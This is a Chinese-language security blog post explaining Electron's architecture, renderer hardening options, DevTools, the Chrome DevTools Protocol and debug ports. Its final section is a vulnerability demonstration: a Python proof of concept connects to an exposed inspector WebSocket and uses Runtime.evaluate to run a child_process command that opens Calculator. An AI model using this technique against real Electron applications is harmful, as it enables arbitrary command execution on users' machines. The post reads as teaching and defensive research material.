Electron工具介绍
Electron 是一个开源框架,用于构建跨平台的桌面应用程序。它由 GitHub 开发和维护,通过将 Chromium(谷歌的开源浏览器项目)和 Node.js(一个 JavaScript 运行时)结合在一起,使开发者能够使用 HTML、CSS 和 JavaScript 等前端技术来创建桌面应用程序。
一些著名的应用程序,如 Visual Studio Code、Slack、GitHub Desktop 和 Atom 编辑器,都是使用 Electron 构建的。
Electron 特点
- 跨平台支持:Electron 应用可以在 Windows、macOS 和 Linux 上运行,只需编写一次代码即可在多个平台上部署。
- Web 技术栈:使用前端开发者熟悉的 HTML、CSS 和 JavaScript 来构建用户界面。
- Node.js 集成:可以使用 Node.js 提供的丰富的库和模块来实现后端功能。
- 自动更新:内置了自动更新功能,可以轻松地向用户推送新版本。
- 丰富的生态系统:由于 Electron 基于 Node.js 和 Chromium,可以利用大量现有的 JavaScript 库和工具。
- 强大的社区支持:Electron 拥有一个活跃的开发者社区,提供了大量的插件、教程和支持。
Electron 简单使用
使用Electron开源工具创建测试用例
main.js
const { app, BrowserWindow } = require('electron'); function createWindow () { const win = new BrowserWindow({ width: 800, height: 600, webPreferences: { nodeIntegration: true } }); win.loadFile('index.html'); } app.whenReady().then(createWindow); app.on('window-all-closed', () => { if (process.platform !== 'darwin') { app.quit(); } }); app.on('activate', () => { if (BrowserWindow.getAllWindows().length === 0) { createWindow(); } });
index.html
<!DOCTYPE html> <html> <head> <title>Hello Electron</title> </head> <body> <h1>Hello, Electron!</h1> </body> </html>
运行效果
Electron架构
Electron应用程序的架构主要分为两个进程:主进程(Main Process)和渲染进程(Render Process)。
- 主进程(Main Process)
- 负责控制应用的生命周期。
- 可以创建和管理浏览器窗口。
- 运行Node.js,能够访问Node.js的API。
- 与操作系统进行交互(例如文件系统、原生菜单、通知等)。
- 通过ipcMain模块与渲染进程通信。
- 渲染进程(Render Process)
- 每个浏览器窗口(或者标签页)都有一个独立的渲染进程。
- 负责渲染HTML、CSS和JavaScript,类似于浏览器中的渲染进程。
- 运行在沙盒环境中,默认情况下不能直接访问Node.js的API(可以通过预加载脚本和contextBridge来桥接)。
- 通过ipcRenderer模块与主进程通信。
Electron Render
Electron Render进程是Electron框架中的一个重要组成部分,负责渲染页面和处理用户交互。每个Electron应用程序都包含一个或多个Render进程,用于展示应用的界面和处理与用户的交互。
Render进程是基于Chromium的渲染进程,可以使用HTML、CSS和JavaScript等前端技术来构建应用的界面和功能。Render进程与主进程之间通过Electron提供的IPC(进程间通信)机制进行通信,主要用于处理应用程序的逻辑和控制。
Render说明
在Electron中,渲染进程是通过创建一个BrowserWindow实例来开启的。每一个BrowserWindow实例都会创建一个独立的渲染进程,用于加载和显示HTML内容。
下面是详细的步骤和示例代码,展示如何开启一个渲染进程。
main.js
const { app, BrowserWindow } = require('electron'); const path = require('path'); function createWindow() { // 创建一个新的浏览器窗口 const mainWindow = new BrowserWindow({ width: 800, height: 600, webPreferences: { preload: path.join(__dirname, 'preload.js'), // 预加载脚本 nodeIntegration: false, // 出于安全考虑,通常禁用Node.js集成 contextIsolation: true // 启用上下文隔离 } }); // 加载index.html文件 mainWindow.loadFile('index.html'); // 打开开发者工具 mainWindow.webContents.openDevTools(); } // 当应用准备就绪时,创建窗口 app.on('ready', createWindow); // 当所有窗口都被关闭时,退出应用 app.on('window-all-closed', () => { if (process.platform !== 'darwin') { app.quit(); } }); // 当应用被激活时(例如在macOS上单击dock图标),重新创建窗口 app.on('activate', () => { if (BrowserWindow.getAllWindows().length === 0) { createWindow(); } });
preload.js
const { contextBridge, ipcRenderer } = require('electron'); // 在渲染进程中暴露安全的API contextBridge.exposeInMainWorld('api', { send: (channel, data) => { ipcRenderer.send(channel, data); }, receive: (channel, func) => { ipcRenderer.on(channel, (event, ...args) => func(...args)); } });
index.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>My Electron App</title> </head> <body> <h1>Hello, Electron!</h1> <button id="myButton">Click me</button> <script src="renderer.js"></script> </body> </html>
查看效果
Render安全性
每一个BrowserWindow实例都有一个独立的渲染进程。当窗口被创建时,渲染进程启动;当窗口被关闭时,渲染进程终止。不同的窗口之间的渲染进程是相互隔离的,这有助于提高应用的稳定性和安全性。
由于渲染进程可以加载并执行任意的Web内容,因此需要注意安全性问题。Electron提供了一些安全实践来帮助开发者保护他们的应用,例如:
- 启用内容安全策略(CSP):限制可以加载和执行的内容。
在HTML文件中添加CSP头或标签来限制可执行的资源
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; style-src 'self';">
- 禁用Node.js集成:通过webPreferences中的nodeIntegration设置,防止在渲染进程中直接使用Node.js API。
- 使用上下文隔离:通过webPreferences中的contextIsolation设置,确保在预加载脚本和页面脚本之间隔离上下文。
配置项如下:
webPreferences: { nodeIntegration: false, // 出于安全考虑,禁用Node.js集成 contextIsolation: true // 启用上下文隔离 }
- 启用沙盒模式,进一步隔离渲染进程,防止其访问敏感资源。
new BrowserWindow({ webPreferences: { sandbox: true } });
- 如果必须使用webview标签,确保启用安全选项,如nodeIntegration和preload设置。
<webview src="https://example.com" nodeintegration="false" preload="preload.js"></webview>
- 通过webContents的will-navigate和new-window事件,限制窗口导航到不受信任的URL。
mainWindow.webContents.on('will-navigate', (event, url) => { if (!url.startsWith('https://trusted-domain.com')) { event.preventDefault(); } }); mainWindow.webContents.on('new-window', (event, url) => { if (!url.startsWith('https://trusted-domain.com')) { event.preventDefault(); } });
- 远程模块允许渲染进程调用主进程的方法,可能带来安全风险。建议禁用该模块。
new BrowserWindow({ webPreferences: { enableRemoteModule: false } });
还有一些安全措施防范,如自动更新、验证和清理用户的输入、使用安全的第三方库等等。
DevTools
DevTools(开发者工具)是一组内置在谷歌浏览器中的工具,旨在帮助开发者调试、分析和优化网站和Web应用程序。它们提供了丰富的功能,支持前端开发和调试的各个方面。
- 元素(Elements):查看和编辑 HTML 和 CSS。
- 控制台(Console):运行 JavaScript 代码,查看日志和错误信息。
- 网络(Network):检查网络请求和响应,分析加载性能。
- 性能(Performance):记录和分析页面性能,查找瓶颈。
- 应用程序(Application):查看和管理浏览器存储(如 Local Storage、Session Storage、Cookies)。
- 安全(Security):检查页面的安全信息,如 HTTPS 证书。
- 内存(Memory):分析内存使用情况,查找内存泄漏。
- 来源(Sources):查看和调试 JavaScript 代码,设置断点。
CDP协议
CDP(Chrome DevTools Protocol,Chrome 开发者工具协议)是一种用于调试和自动化 Chrome 浏览器的协议。它提供了一组 API,使开发者能够与 Chrome 浏览器进行通信,执行调试、性能分析、DOM 操作、网络监控等操作。CDP 是 Chrome DevTools 的底层协议,但它也被其他工具和框架(如 Puppeteer 和 Selenium)广泛使用,以实现浏览器自动化和测试。
CDP主要功能
- 调试 JavaScript:设置断点、单步执行代码、查看和修改变量等。
- 操作 DOM:查询、修改、删除 DOM 元素。
- 网络监控:捕获和分析网络请求和响应。
- 性能分析:记录和分析页面性能,查找瓶颈。
- 安全检查:检查页面的安全信息,如 HTTPS 证书。
- 截屏和录屏:捕获页面截图或录制页面交互。
如何使用CDP
您可以通过多种方式使用 CDP,包括直接使用 WebSocket 连接、借助 Puppeteer 等库,或者通过 Chrome DevTools 本身。
方式一:直接使用 WebSocket 连接
- 启动 Chrome 并启用远程调试端口:
chrome --remote-debugging-port=9222 |
- 连接到 Chrome DevTools 协议:
您可以使用 WebSocket 客户端(如 ws Node.js 库)连接到ws://localhost:9222/。
- 发送和接收 CDP 命令:
通过 WebSocket 发送 JSON 格式的命令,并接收响应。
方式二:使用 Puppeteer
Puppeteer 是一个 Node.js 库,提供了一个高级 API 来控制 Chrome 或 Chromium 浏览器,内部使用了 CDP。以下是一个简单的示例:
使用 Puppeteer 执行浏览器操作:
const puppeteer = require('puppeteer'); (async () => { const browser = await puppeteer.launch(); const page = await browser.newPage(); await page.goto('https://example.com'); // 截取页面截图 await page.screenshot({ path: 'example.png' }); // 获取页面标题 const title = await page.title(); console.log(`Title: ${title}`); await browser.close(); })();
Electron调试
代码或者命令启动
在 Electron 中打开调试端口可以通过多种方式实现,主要包括使用命令行参数和在代码中进行设置。以下是详细的步骤和示例代码:
方法一:使用命令行参数
- 在命令行中启动 Electron 并打开调试端口
您可以通过在命令行中启动 Electron 应用时添加 --inspect 或 --inspect-brk 参数来打开调试端口:
--inspect=:直接启动并监听指定的调试端口。
--inspect-brk=:启动并在第一行代码处暂停,等待调试器连接。
例如,您可以在命令行中运行以下命令来启动 Electron 应用并打开调试端口 9229:
electron --inspect=9229 . |
或者,如果您希望在第一行代码处暂停:
electron --inspect-brk=9229 . |
- 在 package.json 中配置 npm 脚本
您可以在 package.json 文件中配置一个 npm 脚本,以便通过 npm start 命令启动应用并打开调试端口:
{ "name": "hello-electron", "version": "1.0.0", "main": "main.js", "scripts": { "start": "electron --inspect=9229 ." } }
方法二:在代码中设置调试端口
您也可以在代码中通过编程方式设置调试端口。以下是一个示例代码:
const { app, BrowserWindow } = require('electron'); const process = require('process'); let mainWindow; function createWindow() { mainWindow = new BrowserWindow({ width: 800, height: 600, webPreferences: { nodeIntegration: true } }); mainWindow.loadFile('index.html'); mainWindow.on('closed', function () { mainWindow = null; }); } app.on('ready', () => { // 打开主进程调试端口 if (!process.env.ELECTRON_INSPECT) { process.env.ELECTRON_INSPECT = 'true'; process.env.NODE_OPTIONS = '--inspect=9229'; } createWindow(); }); app.on('window-all-closed', function () { if (process.platform !== 'darwin') { app.quit(); } }); app.on('activate', function () { if (mainWindow === null) { createWindow(); } });
连接调试器
打开调试端口后,可以使用 Chrome DevTools 或其他支持 V8 Inspector Protocol 的调试工具连接到主进程。以下是如何使用 Chrome DevTools 连接到调试端口的步骤:
打开 Chrome 浏览器。
在地址栏输入 chrome://inspect 并回车。
应该在列表中看到您的 Electron 应用,点击 "inspect" 链接即可打开调试工具。
Node API启动
使用 process._debugProcess 方法来打开 Electron 主进程的调试端口是一种较为底层的方式,通常不推荐。
process._debugProcess 方法是 Node.js 的内部 API,使用它可能会导致应用程序的不稳定
示例代码
以下是一个示例,演示如何使用 process._debugProcess 方法来打开 Electron 主进程的调试端口:
const { app, BrowserWindow } = require('electron'); const process = require('process'); // 打开主进程调试端口 process._debugProcess(process.ppid); let mainWindow; function createWindow () { mainWindow = new BrowserWindow({ width: 800, height: 600, webPreferences: { nodeIntegration: true } }); mainWindow.loadFile('index.html'); mainWindow.on('closed', function () { mainWindow = null; }); } app.on('ready', createWindow); app.on('window-all-closed', function () { if (process.platform !== 'darwin') { app.quit(); } }); app.on('activate', function () { if (mainWindow === null) { createWindow(); } });
Electron安全风险
根据上面提到的内容,如果在没有禁止Node.js集成的情况下,可以通过获取websocket的连接地址连接Devtools,然后process._debugProcess(process.ppid)打开Electron主进程的调试端口,在Electron主进程中执行命令代码
漏洞演示
main.js
const { app, BrowserWindow } = require('electron'); const path = require('path'); let mainWindow; function createWindow() { mainWindow = new BrowserWindow({ width: 800, height: 600, webPreferences: { nodeIntegration: true, contextIsolation: false } }); mainWindow.loadFile('index.html'); // 打开开发者工具 mainWindow.webContents.openDevTools(); mainWindow.on('closed', function () { mainWindow = null; }); } // 捕获未捕获的异常 process.on('uncaughtException', (error) => { console.error('Uncaught Exception:', error); }); app.on('ready', createWindow); app.on('window-all-closed', function () { if (process.platform !== 'darwin') { app.quit(); } }); app.on('activate', function () { if (mainWindow === null) { createWindow(); } });
启动Electron
获得ws连接地址http://localhost:9229/json,可以通过脚本获取,因为这里是本地执行,就在浏览器里获得
编写poc脚本执行命令
import asyncio
import websockets
import json
async def connect_and_execute():
# 替换为从 http://localhost:9229/json 获取的实际 WebSocket URL
uri = "ws://localhost:9229/<Your-Id>"
async with websockets.connect(uri) as websocket:
# Enable Runtime domain
await websocket.send(json.dumps({
"id": 1,
"method": "Runtime.enable"
}))
response = await websocket.recv()
print(f"Response: {response}")
# 本地演示默认就开了debug,就不需要开了
# Execute process._debugProcess(process.ppid)
# expression = 'process._debugProcess(process.ppid);'
# await websocket.send(json.dumps({
# "id": 2,
# "method": "Runtime.evaluate",
# "params": {
# "expression": expression
# }
# }))
# response = await websocket.recv()
# print(f"Response: {response}")
# Execute arbitrary Node.js code to open Calculator
arbitrary_code = 'require("child_process").exec("open -a Calculator")'
await websocket.send(json.dumps({
"id": 2,
"method": "Runtime.evaluate",
"params": {
"expression": arbitrary_code,
"returnByValue": True,
"includeCommandLineAPI":True
}
}))
response = await websocket.recv()
print(f"Response: {response}")
# Replace <your-page-id> with the actual page ID from http://localhost:9229/json asyncio.get_event_loop().run_until_complete(connect_and_execute())
运行效果
总结
当发现一个二次开发的前端编辑器,如果是基于Electron进行开发,并且没有禁止Node.js集成使用,就可能会存在远程命令执行的问题。
----------------------------------------------------------------------------------------------------
本文作者:平安@涂鸦智能安全实验室